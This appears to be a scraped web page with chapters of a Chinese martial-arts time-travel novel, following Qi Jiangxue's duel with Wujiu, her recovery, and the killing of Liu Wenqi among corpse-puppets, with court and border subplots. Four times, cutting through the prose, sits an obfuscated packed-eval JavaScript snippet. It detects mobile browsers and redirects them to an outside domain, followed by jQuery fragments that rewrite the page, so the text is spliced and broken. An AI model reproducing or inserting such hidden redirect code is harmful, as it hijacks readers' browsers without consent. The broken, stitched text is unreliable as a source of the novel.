;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889329|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能,就是做起来有些麻烦。”
正说着,有脚步声传来。两人连忙躲到一棵大树后。
只见三个尸人拖着步子向花园走来,其中一个手里抓着一副血淋淋的盔甲。
一阵竹笛声响起,脚步声纷至沓来。越来越多的尸人开始往这边聚集。
戚江雪对着楼煊指了指树上,楼煊会意。他从袖中射出一条钩索,钉在树心处,随后借力攀上树顶。
戚江雪提气上跳,三两下蹬着树干也到了树心。两人稳住身形,藏身在凌乱生长的枝丫中。
尸人们似乎听到了上树的动静,但僵硬地转了转头后,就一个个都停在树下不再走动,血红的双眼直勾勾地瞪着前方。
戚江雪从树顶眺望,看到相邻院子的一间堂屋里有人影在烛光中晃动。
“啊——”男子的惨叫声传来,格外瘆人。
“哼,朝廷治罪,其他人都已问斩,你竟然还敢装疯。”一个有些熟悉的声音骂道。
又一声惨叫响起,随后便只余沉默。
尸人们有些躁动不安,但又一阵竹笛声过后,他们依旧停在原地。
伴随着巨大的声响,门被打开。一男子大步从屋里走了出来,两个侍童提灯跟在他身后。此人正是之前和邱老一起去消业池的黑脸男子,看来他很习惯用武力威逼别人。
楼煊在旁边轻声道:“他是罚罪别院的管事廖奉堂,出手一向狠辣。”
戚江雪点了点头,想起自己差点被他捏碎下巴的痛苦回忆。或许,有朝一日也要让他尝尝被刑讯逼供的滋味。
廖奉堂快走出院子时,突然想起了什么,拿起竹笛在嘴边吹了吹,随后便离开了。
树下的尸人们得到了某种指示,开始动了起来。有些漫无目的地游荡,有几个则向着关押的院子走去。
戚江雪抓住楼煊的胳膊,带着他迅速从树上跳下,用轻功飞了过去。
赶在尸人到来之前,他们进入屋子,将房门紧紧关上。
地上有两名男子,其中一个衣衫尽烂,身上被抓得血肉模糊,早已死透。另一个身上还穿着盔甲,倒在一边喃喃自语。
戚江雪连忙上前将盔甲男子扶起。
“潭城兵败,非我等之罪。”男子气若游丝。“……州,危矣。装疯,找,找……将军。”
戚江雪眉头紧皱,听得不是很清楚,楼煊则是一脸沉重。
“你说的是燕州还是兖州?要去找谁?可是严将军?”
“我们没有叛……”话音戛然而止。男子双眼半睁,已然断气。
戚江雪轻轻阖上他的双眼,内心一片悲凉,而楼煊的目光还停留在男子身上。
“看他的装束,应是昭武校尉。潭城若失守,景国便可通关而下,直取冀州。可他为何说燕州……兖州?”
听到楼煊的话,戚江雪回忆着脑海中的绥朝地图。无奈印象实在模糊,只依稀记得燕州是边防重地,此时离景国攻破大绥国门还有三四年的时间。
“无论他所说的是何处,边关似乎都有危情。你还是易容成药人,尽快离开。你师伯我也会暗中帮你找的。”戚江雪催促楼煊。
“那就麻烦姑娘了。我的确要去确认。”楼煊忧心忡忡,看着戚江雪道:“你也要多加小心。”
东方已经泛起了鱼肚白。
当戚江雪赶回幽人馆时,看到了站在大门口的无疚。
8. 寒冰有隙重开径
衣袂翻飞,在寒风中划开凛冽的弧度。一蓝一碧两个身影默然相对。
“你居然能从尸人堆里全身而退,还躲过了我,确实有几分本事。”无疚的语气和她的神情一样平静无波。
“你怎知昨晚也是我?”
戚江雪衡量着自己逃脱的可能性,却发现在这个距离她根本就不可能甩开无疚。看来今天是难逃一战了。只可惜,她不是无疚的对手。
“直觉。”无疚盯着戚江雪的眼睛,似要看进她的灵魂深处。“你给我的感觉不像是疯子。”
戚江雪自嘲一笑:“如果我是,你会放我一马吗?”
无疚勾了勾唇角,道:“我不管你是不是,也不在乎你为什么武功尚在。如果你今日能在我手上活下来,之后我不会再管你。”
戚江雪心中一动。“我听闻清晏山庄对那些反抗逃离的人十分苛刻,有些还可能被做成药人甚至尸人,你莫不是在骗我?”
“哼,我不是那些蝇营狗苟的管事,打落水狗有什么意思。”无疚很是不屑地道:“你若真的是病弱残败之人,我反倒没什么兴致了。”
无疚又看了一眼戚江雪,左手按了按自己的后颈。“说实话,昨晚又让你跑了,我还是有些生气的。可是现在看到你,突然又觉得这或许是天意。这里已经死气沉沉太久,而我在你眼里看到了久违的生气。你可莫要叫我失望。”
“或许我之前侥幸逃脱便是天意,是我命不该绝。”戚江雪还想再争取一丝和平解决的可能。“你想看勃勃生气,那为何又要扼杀它呢?难道不能顺应天意吗?”
“不能。”无疚放下手,发丝突然没了束缚,舞得张扬。“你的天意,在我这里。”
话音刚落,她便以迅雷不及掩耳之势向戚江雪攻了过来。
戚江雪虽有准备,但还是躲得狼狈。无疚的真气很霸道,她此时不敢硬抗。向后翻滚拉开距离,戚江雪猱身跃上拱门边的石羊雕像,右脚借力飞踢,直逼无疚面门。
无疚抬手格挡,力道震得戚江雪整个小腿都发麻。她掌心瞬间翻转,五指成爪扣住戚江雪的脚腕,将她拉向自己。戚江雪眼疾手快紧紧抓住石羊的一只角,下一秒“咔嚓”声响,羊角被硬生生掰断了。
好在借着阻力,戚江雪稳住重心,左脚一个扫堂腿攻向无疚下盘,拿回了身体主动权。她有些慌不择路,疾奔进来后才发现到了幽人馆里面。戚江雪几乎将轻功发挥到了极致,无疚虽一时追不上她,但也紧随身后。
压力让戚江雪后颈的汗毛都竖了起来,无疚一掌向前推出,之前的化气为剑终于从心上悬着的威胁变成了实质。
戚江雪鬓边的发丝在她侧身闪避后被削了下来,轻飘飘地落在了地上。宛如她的一场穿越,那样断然急促,却又没有什么重量。无论是诚可贵的生命,还是价更高的自由,从她身上剥离又重塑,却不由自己掌控。
面颊传来一阵刺痛,戚江雪抬手摸到了几滴凝结而出的血珠,才后知后觉地发现其实她早就受伤了。
风停气散,空气有些凝滞,但戚江雪的袖袍却无风自动,鼓胀如布袋。她将全身内力聚在右掌心,突然停了下来,转身劈向迎面追来的无疚。
这是必中的一击,但无疚毫无惧意。她在半空以一个不可思议的角度扭转身体,将原本对着头颅的攻击用肩膀接下。没有丝毫停顿,她俯身用膝盖猛撞在戚江雪的腰上,在戚江雪踉跄时,擒拿手如铁钳般牢牢扣住了她的右肩,狠力一扳。
只听令人牙酸的骨骼断裂声响起,戚江雪就像被牵丝的木偶般右臂直直垂了下去。瞥见戚江雪左臂前横,无疚又一掌拍向她的左肩,现在她的双臂都已废了。
就在无疚放松之时,戚江雪突然回过了头。她只来得及看到戚江雪孤注一掷的眼神,下一瞬便觉喉咙剧痛。
无疚松开了戚江雪,用双手捂住正在喷血的前颈。她有些难以置信,但在看到戚江雪咬在齿间的那根鲜红的玉簪时,她又莫名有些触动。
这根簪子可真漂亮啊。
戚江雪认命地闭了闭眼。就在刚才无疚躲过她的攻击又让她双臂尽废时,“杀手锏”这个三个字电光火石地照亮了她整个脑海。她使出了那必杀一击。
可是,就在她准备舍弃自己性命与无疚同归于尽时,却看到了无疚的眼神,那眼神中并无杀意。她犹豫了,这一犹豫,刺出的力道便弱了两分。
“你说你在我眼里看到了生气,那你就应该知道,我想活着。我们本来就可以都活着。”
戚江雪声音沙哑至极。她已耗费了所有力气,身上的疼痛开始一寸寸侵蚀精神,无疚这时候如果来给她一击,她瞬间就能断气。
无疚虽然没有被一簪封喉,但已然受到重创。她点穴止血,没有说话。当然,她现在的破喉咙也说不了话。她向戚江雪走去,又戛然止步,深深看了她一眼后,便转身离开。
戚江雪看着无疚的背影,在越来越模糊的视线里失去了意识。
一丝清凉覆上了额头,戚江雪睫毛微颤,幽幽醒转。
乍一看这里与自己的房间没有区别,但看到坐在床边的关苒苒后,戚江雪明白自己是被救了。
“多谢前辈……咳咳。”才说几个字,喉咙像是要裂开一样。
“别说话了,你伤得很重。”关苒苒将戚江雪额头上的手帕翻了个面,又从桌上端了一个碗过来。
“我帮你将胳膊固定住了,这段时间你不能再用力。这里条件有限,没什么好药材,先喝点养身汤。你受的大多是内伤,只能慢慢调养。”
关苒苒将一勺汤喂到嘴边,不凉不烫,温度正适宜。戚江雪慢慢喝了下去,嗓子被滋润后舒服了许多。她的肩膀处像是被夹了两块石板,又重又硬,骨头时不时就泛起酸痛。
还能活着,已是很好了。
戚江雪问道:“关前辈,你是怎么发现我的。”
“我听到外面有动静,出去后你就倒在我门口不远处。好在侍童还没回来,我就将你带进来了。”关苒苒将空了的碗放回桌子上,又拿了一个药瓶过来。
“这是治跌打损伤的,远比不上我自己研制的好,但现在只能勉强用了。”
戚江雪不由苦笑:“我那里什么都没有,前辈能有药已经很好了。”
关苒苒道:“待久了慢慢就会宽松些。能来幽人馆,多少是家里还有些倚靠的,有些东西只要不过分,他们会送来,勉强活着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889330|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不难。”
戚江雪想起自己,觉得家族可能未必会是倚仗。她不由又有些好奇。
“幽人馆的管事是谁呢,刘文启吗?我感觉这里比起其他地方似乎管得松些。”
“幽人馆由主院的邱老兼管,那老东西一般不会过来。刘文启来则是因为觊觎修意的东西。这里都是手无缚鸡之力的女子,就算曾有过功夫,现在也都是废人。”
关苒苒一边为戚江雪抹药,一边继续说:“跑也跑不出去,就算侥幸跑了也无处可去。他们自然不用费什么心思看管,你没发现连侍童都时不时偷懒吗?你之前可能特殊些,不过现在他们也不会把你放在眼里了。”
戚江雪本想问关苒苒的情况,但想起之前她说话的神态,觉得这会触及到隐私,便吞下了话头。
如今看来,跟无疚打了一场也算是好事,有威胁的管制变少了。
戚江雪缓缓起身,因为胳膊僵硬无力,想给衣衫打结却屡屡失败。关苒苒将药放下后连忙走过来帮她穿好。
“你这是做什么,现在不宜乱动。”
戚江雪嘴唇泛白,但还是坚持下床。“快到巳时了,我得回去。不然会给前辈添麻烦的。”
关苒苒嗔怪道:“都伤成这样了,还同我客气什么?现在他们还能把我怎样,真当我会怕?”
“我知道前辈一番好意,但我的内伤单靠调理是没用的。我回去也能让他们安心,省得再生事端。”
戚江雪说的是事实。从她醒来后便感到体内有一团热气,似乎经脉受阻无法畅通运行,灼烧得她丹田非常难受。她回去一来是避免侍童起疑,二来是想要好好探查一番自己的武学外挂发生了什么变化。
关苒苒不再阻拦,只扶着她向外走去。“那你须每晚来我这里检查一番,况且你自己也无法上药。”
戚江雪答应,随后小心翼翼地回到了自己的肆号院。
戚江雪一回住处便坐在床上,开始运气行功。
腹中热气被冲散,内里激荡。戚江雪周身的空间越来越热,不远处木桶里的水竟然沸腾起来。若有人靠近必然会被烫伤,可她却浑无感觉。
不消片刻,四周蒸腾的热气全都涌向她,从张开的每个毛孔渗入,汇聚成气流,遍游体内周天,又从头顶冒出。此时,一股股气流在她的体内循环游走,时而如惊涛拍岸,将五脏六腑都震荡得移位,时而似涓涓细流,穿行于每一条经脉,将巨浪带来的伤痛轻柔抚平。
气流每环游一遍,周天便被荡涤一新,灵台也愈发清明。真气在经过命门、大椎、神庭、百会几处时,略微停顿,像触手一般分流将其包裹,原本大声叫嚣着疼痛的部位立时安静下来。
“表里虚寂,神道微深。外藏万境,内察一心。”[1]
顶级武学天赋,可向外求,可自内观。上限几何,全凭因缘际遇。
脑海中跳出信息,戚江雪明白自己之前进入了内观状态。
看来跟无疚这样的高手对决,若能活着,于自己来说也是大有进益。而且,关于“杀手锏”她也总算摸出了些门道。
在眼下的境况中,能有“武学·绝技”这样的功德奖励傍身,怎么不算是一种好运气呢?
9. 鼓角揭天嘉气冷
月凉如水。向南迁徙的雁群发出凄厉叫声,在夜空中划过人字行迹。
城墙垛口上每隔十米便燃烧的火把只剩下零星几支,士兵三三两两坐在下面。
“真是衰啊。偏赶上这个时辰换防,前半夜和张都头喝酒,本想直接睡过去。”陈甲一脸怨气地嘟囔着。
边上的同袍要么发呆,要么哈欠连天,还有两个直接呼呼睡了过去。只有一个十五六岁的小兵看着他问道:“陈哥,他们说潭城失守是因为有人做了内应。这是真的吗?”
陈甲一巴掌拍向小兵的脑袋。“都是哪听来的小道消息?”
“大家都在传。要不是小严将军打回了子荆关,冀州就要丢了。”小兵一脸委屈地摸着脑袋。
“谁知道呢。潭城守将都被斩了,知州也被罢了官,那些卫兵是死的死逃的逃。按说潭城常年在抗击景国的最前边,没那么容易就被攻破啊。”
旁边一个老兵接过陈甲的话头说:“要不是潭城这事,咱们也不至于大半夜还在这睡不了觉。籼城在兖州,八竿子打不着的地方,硬是被弄得全城警戒。”
陈甲道:“嗐,谁让咱临着沉蛟堑呢。要我说就是上头那些人胆小怕事,景国要是真想打,籼城哪会安稳这么多年。”
小兵似乎觉得哪里不对,但又不知该反驳些什么。
就在这时,角楼处传来了连绵的号角声,响彻夜空。紧接着,便是马蹄奔腾,在地上踏出了沉闷又惊促的节奏。
“嗖”一声,羽箭擦过了他的耳朵,落在对面的城垛上。
小兵还没反应过来,陈甲和旁边的老兵却都一骨碌翻起身来。
接二连三的箭射向城墙,陈甲抽出刀将一支箭打落在地,高喊道:“敌袭!”
所有人都被惊醒了,迅速跑动起来。有人去拿火把,有人拔出佩刀,也有的脸上满是仓皇,不知所措。
小兵壮着胆子从城墙边向下看去。只见火光中一片黑压压的盾牌立起,射手站在后面,不断轮换瞄准着城墙之上。一里之外,景国骑兵的铁甲在黑暗中泛着凛凛寒光。
“兄弟们快拿弓箭——”陈甲一把抓住小兵的领子,将他扔向旁边。“击鼓传报。敌人已兵临西城门下,全城戒备。”
陈甲说完往女墙下缩去,躲开一支刚刚射上来的利箭,而城下的敌军已经开始架起了云梯。
小兵见状抖如筛糠,手脚并用地往外跑,没跑多远便听见鼓声响起。“咚咚——”和心跳的声音一样急促又没有间歇。
城中一时火光大亮。
小兵回头看了一眼城墙,陈甲已不见踪影。
之前和他们一起聊天的老兵被翻墙而上的敌军一刀捅了个对穿。血花飞溅,老兵双目圆睁,一动不动地瞪着他。
小兵脚下一滑,从城楼石阶上摔了下去。
兖州,殷平衙署。
丝竹管弦之声不绝于耳,娇艳舞姬旋动着纤细的腰肢,一路转到了主座男子的旁边。
那中年男子目露春光,一手搂住小蛮腰,一手摸上舞姬的胸前的薄纱。舞姬双靥透红,斟酒的动作却没有停。
“平日醉仙楼的妈妈可是将黛罗看得像眼珠子一样紧,寻常人千金难买她一夜。吴大人若是喜欢,今夜就让黛罗留下,好好安抚您一路的舟车劳顿。”坐在左侧下首的兖州知州方啸鸣笑着说道。
初见吴庸他便想这个朝廷派来的监察御史怕是个纸老虎,如今再看他的眼神,更加确定此人实属酒囊饭袋,没什么威胁。
吴庸听见方啸鸣的话,带着醉意心不在焉道:“方大人如此好意,怎敢不心领。只是还需以朝廷要务为先。”
方啸鸣道:“自潭城失守后冀州边防便成了重中之重,严侯已赶去了子荆关,您便是去了冀州只怕一时半刻也见不到他。何不在我这里多留几日,反正兖州也在您此次监管的范围之内。”
方啸鸣一边说一边对黛罗使了个眼色。黛罗倚进吴庸怀里,也不说话,只含情脉脉地看着他。吴庸心里一痒,拿起酒杯一饮而尽。
“方大人说得有理,我等也不便妨碍严侯整顿军务,索性在这里等等。只是要多叨扰方大人了哈哈。”
方啸鸣举起酒杯对吴庸一敬。“下官必定好好款待,让大人不虚此行。”
这一夜宾主尽欢,自不多言。
帝京,楼府。
楼煊面色不虞地从求索居的书房出来,向自己院中走去。
每次都是这样,明知父亲的性子,却不得不和他解释自己的所作所为。何苦来哉,不是早就不期待从他那里获得认同了吗?
摆脱家族桎梏,潇洒行走江湖,或许就是一个只能藏在心中的梦。楼煊不由自主想到了戚江雪。
那女子虽身陷囹圄之地,他却在她身上看到了一腔孤勇,带着轻微的冷意,将周遭名为“从来如此”的侵蚀隔绝开来。
楼煊的思绪停了下来。前方站着一个紫色身影,看上去已在他门口等了许久。
“你怎么在这?”楼煊看着眼前的少女问道。
楼凤台向来被视作京中闺门的典范,她的清贵典雅与他的放浪不羁格格不入。对这个继母所出的妹妹他一直亲近不起来。
“许久未见,听闻兄长回来了,我很是高兴。后日安王举办流觞诗会,若你赴约他必定欢喜。兄长可愿陪我同去?”楼凤台婉转问道,美眸亦带期盼。
楼煊顿了顿,冷淡说道:“我明日便要启程去冀州,怕是无法应约了。”
楼凤台垂下鸦羽般的睫毛,有些失落。“兄长一回来便与父亲相谈,连家人也不见就又要走了。况且冀州如今恐要再起战事,兄长若以身犯险怎能让我们安心呢?”
楼煊深吸一口气,语气放柔了些。“多谢关心。我近日偶然得知了些战事内情,事关家国安危,京中消息又有阻隔,我得亲自去确认才放心。”他看了看楼凤台,犹豫了片刻还是说道:“安王毕竟是当今唯一的皇弟,若与他走得太近,福祸未知。”
楼凤台听到哥哥的话后情绪微微上扬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889331|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我明白。只是这也是父亲的意思。”
楼煊闻言不由轻嗤一声。“倒是我多虑了。什么都逃不过他的谋算,你自己把握吧。夜深了,你也快回去休息。”
楼凤台倾身向楼煊行了一礼。在他转身后又突然问道:“兄长既不参加科考,也不愿荫补入仕,为何又如此关心军情国事呢?”
楼煊没有回头。
“我厌恶官场,所以选了一条在我看来恣意畅快的路。江湖与庙堂看似泾渭分明,但大丈夫不论身在何处,都可以立心从志。”
看着楼煊的背影渐渐消失,楼凤台在夜风中伫立良久。
夕阳隐没,天边只余最后一抹残红与衰草相连。极目处狼烟四起。戚江雪踉踉跄跄,她艰难地拖着自己,穿过每一具死不瞑目的尸骸,穿过挣扎在旷野中无声的嘶吼。城墙边黑黢黢一片,在她走近时,数不清的乌鸦“扑棱”着翅膀飞了起来,久久盘旋在上空。
女尸被双手捆绑吊在这里。烟灰色长发凌乱披散,浑身血迹已经干涸,那张与她相似但轮廓更深的脸苍白中泛着铁青。戚江雪颤抖着伸出手,想要摸一摸她,女人却突然睁开双眼,原本温柔含情的瞳眸冰冷至极。“给我回去!”
戚江雪在一阵心跳加速中醒来。
想起刚刚梦到的场景,戚江雪胸口突然泛起一股悲伤。她知道原身已经死去,但这真的很像是她留下的某些记忆。那女子会是她的母亲吗?为什么会出现在一片战后的狼藉中呢?
说到战争,也不知那昭武校尉所说是否属实,按道理绥景两国虽然一直摩擦不断,但在她印象里现在还不会有改变局势的大战。
戚江雪想到自己的穿越,一时又不那么确定了。这本就是另一个时空,历史未必会按照她记忆中的轨迹发展。希望楼煊能够带来有用的消息吧,就算自己被困在清晏山庄,但国家命运会关系到每一个人。
戚江雪慢慢起身,颤巍巍地拉好衣服。她的内伤虽已无大碍,但两只胳膊还是僵硬难受。今夜关苒苒帮她上了药,便让她先在此休息了。
她找了一圈,发现关苒苒不在。此刻正值丑时,夜色异常深沉。
戚江雪想了想,在院中找到密道,一路穿行。眼前的墙壁凹凸不平,打开这面墙,应该就是秦修意的床边。
“你们两个居然敢暗通款曲,好大的胆子。”刘文启的声音带着阴狠,从外面传来。戚江雪停下了想推开暗门的手。
关苒苒难掩愤怒。“你这狗贼,鬼鬼祟祟来这里是为了什么?有本事就让大家都知道。”
刘文启冷哼一声。“少废话,把《清罡诀》交出来。我或许会考虑放你们一马。”
“你今天就是掘地三尺,从我尸体上踏过去,也找不到《清罡诀》。你死了这条心吧!”秦修意怒不可遏。
“用不着我动手,看你能嘴硬到何时。”刘文启说完后,一阵竹笛声响起,外面的声音凌乱嘈杂起来。
他召唤了尸人。
戚江雪连忙推开了暗门。
10. 修缘有幸拜真贤
刘文启不知所踪。看到戚江雪从暗门出来,秦修意和关苒苒只是微露吃惊,随后便满脸担忧。
“你怎么过来了?你现在该好好休养。”关苒苒皱眉道。
戚江雪走向窗边,向外看去。“刘文启不知躲哪里去了。尸人已到院外,我先来抵挡。二位前辈去密道躲一躲吧。”
秦修意一脸严肃地摇了摇头。“你还受着伤,怎能被我连累?刘文启不达目的誓不罢休,如今再躲也无法善了,还会把你和苒苒都拖下水。不过是一条命,给他便是。他得不到想要的也只能作罢。你们快去密道,回苒苒那里。”
“前辈好像还不知我叫什么,是我的疏忽。晚辈姓戚,名江雪。秦前辈刚正,关前辈慈善,能与二位相识是我的荣幸。我孤身一人,了无牵挂,能帮到你们也不枉来此一遭。”
戚江雪将纱布在手腕上缠了一圈,让肩膀最大程度地解放。
“刘文启已知你们暗中相见,可能很快就会查到密道。此人心思狡诈,不顾他人死活,今晚不能放他离开。现如今只有我有一战之力,刘文启武功在我之下,我之前也和尸人遇上过。就让我来帮忙解决吧。”
秦修意眼眶微红,却强自镇定。“可是你之前受了重伤!尸人凶悍,刘文启阴险,若真对上他们未必有胜算。”
关苒苒按上了秦修意的肩头。“事已至此,我们都非贪生怕死之徒,不如就与他一战。阿雪大义,且让我们来助你一臂之力,若是败了,便死在一处又如何!”
关苒苒从身上取出两根长针,对着戚江雪道:“我要对你行针,让你暂时不被伤臂困扰。但过后可能会反噬,不过我也有办法,就是你可能要受些苦。你可能接受?”
戚江雪径直坐在关苒苒面前,伸出胳膊道。“拜托前辈了。”
尸人狂躁的声音越来越近。秦修意拿剩下的椅子将门挡住,又从床下拿出了一根晾衣的木杆,站在门边。她一边留意外面的动静,一边担忧地看着关苒苒的动作。
长针初入体内戚江雪只觉刺痛难忍,但很快便缓解了。戚江雪意识到,她的肩膀不是感受不到疼痛,而是麻木了。
看着戚江雪起身,秦修意将木杆递给了她。“只能用这个做武器了。有总比没有强。”
戚江雪想了想问道:“刘文启可有什么随身武器?”
秦修意说:“他有一柄短剑,平时都藏在袖中。”
“那便够了。此物你们留着防身。我将尸人引到刘文启之处,二位不要出来,等我的传音。”
戚江雪没有再等秦关二人说什么,迅速起身从窗边跳了出去,将窗户从外拉严实。
听到动静,满院的尸人瞪着血红双眼看向了戚江雪。戚江雪飞脚踢向最近的尸人,随后一掌真气拍出,击向尸人群。尸人东倒西歪一阵后,争先恐后奔向刺激他们的人。
戚江雪施展轻功向院外飞去。她要将尸人引出,最关键的是,她要找到刘文启藏在哪里。
如今她武功还在之事已经暴露,她绝不能让刘文启活着离开。为了控制尸人,威胁秦修意,刘文启必然还在这附近。
眼见尸人纷纷跑出柒号院,追着戚江雪而来。刘文启在暗处简直气急败坏。
这少女果真是怪胎,消业池居然都拿她没办法。她已经知道自己私下找秦修意,今晚绝不能让她再活着。
刘文启拿出竹笛吹出几声变调,尸人瞬时狂性大发,像潮水一般涌向戚江雪,将她层层围裹住。
这些尸人不见血不罢休,就算她之前瞒天过海保留了功夫,现在也只能被撕成碎片了。他就不信那秦修意若见此情景,还能负隅顽抗。想到此处,刘文启嘴角露出阴狠的笑容。
刘文启此时已觉胜券在握,连夜风吹在脸上都格外轻快。夜风?
“找到你了。”一个冰冷的声音在耳边响起。
刘文启才要动作,戚江雪出手如电,两下点中他的穴道。藏在左袖中的短剑滑了出去,被戚江雪一把夺过。
“你,你要做什么?你可知我是无争管事,你敢动我绝对没好果子吃。”刘文启无法动弹,只能惊慌地喊。
戚江雪用短剑贴着他的脸,一下下轻轻拍着。
“你之前不是很喜欢试探吗?今天换我来试探试探你的实力,看你能在尸人群里活多久?”
刘文启嘴唇抖动着:“我也是为了防患于未然,你不是没事吗?我们无冤无仇,今天你放过我,这事就算过去了。”
“哼,怎么没事?被你打中后我难受了许久。每天都要回想一遍呢。”戚江雪说得轻柔,但每个字都透着危险的气息。
说实话,刘文启之前的试探虽没有造成多大伤害,但让她喝了好几口消业池的脏水,她每回想起来都觉得无比恶心。她才发现自己原来是个如此记仇的人呢。
“邱老他们不会放过你的,掌教会把你打死……”戚江雪将短剑捅到刘文启嘴边,打断了他的话。
“你说的对。我可能会死……”戚江雪边说着边从刘文启胸口摸出了竹笛。“但你必须得死在我前面!”
戚江雪一把将刘文启从藏身的树上推了下去,砸中了愤怒的尸人。几个尸人将刘文启的一支胳膊硬生生扯了下来,惨叫声在黑夜中格外凄厉。
戚江雪等了一会,随后便上前用刘文启的短剑对付尸人。有了武器,打起来更是得心应手,一剑一个刺穿头颅,干脆利落。只是尸人不知疲倦也感觉不到疼痛,还在不停冲上来。
秦修意和关苒苒已经跑了出来,见状都有些着急。秦修意拿着长杆冲上前,戚江雪连忙挡在了她前面。
莫瑞谦和廖奉堂都吹过竹笛,只要用竹笛控制尸人应该没什么问题。她回忆着之前听到过的节奏,拿出竹笛吹了起来。尸人们渐渐停了下来,刘文启已经在地上一动不动。
戚江雪又吹了几下,尸人停止躁动,有的摇摇晃晃走向远处,也有的依然停在原地,只是不再攻击。
关苒苒上前看了看刘文启说:“已经死透了。”
秦修意看到戚江雪手里拿的短剑,猜到了她的想法。“他死的不冤,只是不能引起怀疑。”
“我在他周围杀了不少尸人,装成他被尸人杀死应该不难。”戚江雪上前将短剑塞到他仅剩的那只手里。
关苒苒略一思考道:“他武功不算太差,如何死在尸人手中还是要做的更谨慎些。让我来处理吧。”
秦修意一边上前帮忙一边对戚江雪说:“尸人应该不会再攻击了。剩下的交给我们,你快回去休息。”
戚江雪站到了一边,但依然不能完全放心。
这些尸人很是奇怪,仅仅靠竹笛就能让他们听话吗?也不知道尸人到底有多少,何不趁着现在将这里的都解决了呢?反正他们这样半死不活行尸走肉一般,杀了他们反倒能帮他们解决痛苦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889332|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
戚江雪看着尸人,心里突然涌上一股很奇怪的冲动。她想要杀掉他们,这个念头一上来就控制不住了。戚江雪感觉不对,连忙运气,谁想内力却突然失控,窜向脑中各大经络。
额颞跳突不停,一股狂躁暴烈的杀意瞬间涌上四肢百骸。
这些尸人本就不该存在,他们为什么还活着?
刺穿,碾压,砍断,撕碎……不管是什么,想要破坏,想去毁灭。
戚江雪心中大骇,强行收力,整个人控制不住地剧烈颤抖着。
秦修意看见她的状态,大吃一惊,连忙过来想要将她扶住。戚江雪却生怕自己伤害她,踉跄着后退几步。脚下止不住虚浮,整个人便倒了下去。
醒来时,戚江雪的头上扎着几根针,胳膊格外疼痛。秦修意和关苒苒听到她的动静一齐来到了床边。
“秦前辈,关前辈,尸人还有刘文启……”
关苒苒打断了她。“我们已经处理好。尸人大部分都散了,只剩下几个在院外,不会再进来的。你还是担心你自己吧。”
“我是怎么了?为什么会有走火入魔的感觉?”戚江雪想起自己之前的状态,不由一阵后怕。
“你伤势未愈,之前饮鸩止渴的麻痹方式难免会反弹。”秦修意摸了摸她的额头,继续说:“而且,你的内力似乎有些失控。我不知你过去师从何人,你天赋奇绝,气海深广难探虚实,这对于习武者确实极为难得。可是……”
“可是什么?”戚江雪追问。以前她只是觉得这个随身外挂不错,却不知这东西是不是还有什么副作用。
秦修意缓缓道:“你的根基还不够深厚。我观你出招,灵动恣意,出人意料,但却不成体系,似乎大多是随心所欲的动作。”
戚江雪暗中感慨,可不是吗?脑海中冒出哪个招式就用哪个,很多时候出招也是根据对方动作给出的被动反应。毕竟,她不是真正从小就习武的人。
“确实,我也想不起过去是在哪里学的。或许压根就没有师父,都是我自己瞎摸索。让前辈见笑了。”
秦修意笑了笑,“那更说明你是罕见的天纵奇才。根基浅没什么,只要能得到些许指点,凭你的天赋必定一飞冲天,惊艳绝世。”
“前辈太看得起我了。”戚江雪有些不好意思。
“修意可是江湖上赫赫有名的‘凛霜客’,她的评价当然做得了准。”关苒苒挑了挑眉,笑语盈盈。
“快别拿旧事打趣我这废人了。现在若不是江雪出手相救,我们焉能安然?若是你不嫌弃,我或许可以跟你说说武学进益之事。”秦修意看着戚江雪,目光中满是欣赏与慈爱。
“承蒙前辈不弃,戚江雪愿虚心学习,只求前辈赐教。”戚江雪挣扎着坐起,就要向秦修意拜下去,被她拦了下来。
“好。先别忙,你现在最需要的是养好身体。你的问题在于内蕴太深但理解不够以致不能完全掌控内力,融会贯通。而且,习武先要修心正念。你之前也是被尸人所激,杀戮欲变重,若不能好好控制,终会成为隐患。”
戚江雪低头道:“我明白了。”
